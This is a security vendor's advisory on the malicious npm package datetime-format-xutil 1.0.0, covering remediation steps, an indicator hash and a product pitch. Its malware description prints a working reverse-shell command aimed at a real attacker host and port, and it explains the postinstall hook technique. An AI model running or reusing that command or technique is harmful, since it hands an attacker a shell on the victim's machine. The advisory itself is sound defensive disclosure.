Which versions of datetime-format-xutil are malicious?

The following npm versions of datetime-format-xutil are flagged malicious: 1.0.0. Treat any of these as compromised.

How do I remediate datetime-format-xutil if I installed it?

Remove datetime-format-xutil from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed datetime-format-xutil — how do I know if it already compromised me?

If datetime-format-xutil was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is datetime-format-xutil part of a known attack campaign?

Yes — datetime-format-xutil is associated with the IN-MAL-2026-017627 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find datetime-format-xutil across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for datetime-format-xutil (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging datetime-format-xutil across your stack and pipelines.

Malicious package

datetime-format-xutilnpm

datetime-format-xutil is a confirmed malicious npm package (MAL-2026-13936) that executes malicious code on install (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in datetime-format-xutil (npm)

MAL-2026-13936

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall datetime-format-xutil

What this malware does

The package advertises itself as a date-format utility but ships a postinstall.js that runs automatically via scripts.postinstall on npm install. The script opens a TCP connection to the hardcoded host 8.135.48.40:4444, spawns /bin/sh, and pipes the shell's stdio over the socket, with bash -i >& /dev/tcp/8.135.48.40/4444 0>&1 and a python3 reverse-shell one-liner as fallbacks. On failure, error details are sent via plain-HTTP GET to http://8.135.48.40/shell/failed and /shell/error. The index.js date-format code is a cover; installing the package grants an interactive shell on the installer's host to the operator of 8.135.48.40.

Malicious versions

1 flagged

1.0.0

Indicators of compromise (SHA-256)

677f98dffacde20a42bef500b1e5d3e3b4b27bdcd11d7d74aa398730d6643b24

Detection & response playbook

Malicious package

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for datetime-format-xutil (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging datetime-format-xutil across your stack and pipelines.
If you installed it — respond
Remove datetime-format-xutil from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If datetime-format-xutil was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks datetime-format-xutil before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. datetime-format-xutil on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-017627

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks datetime-format-xutil-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database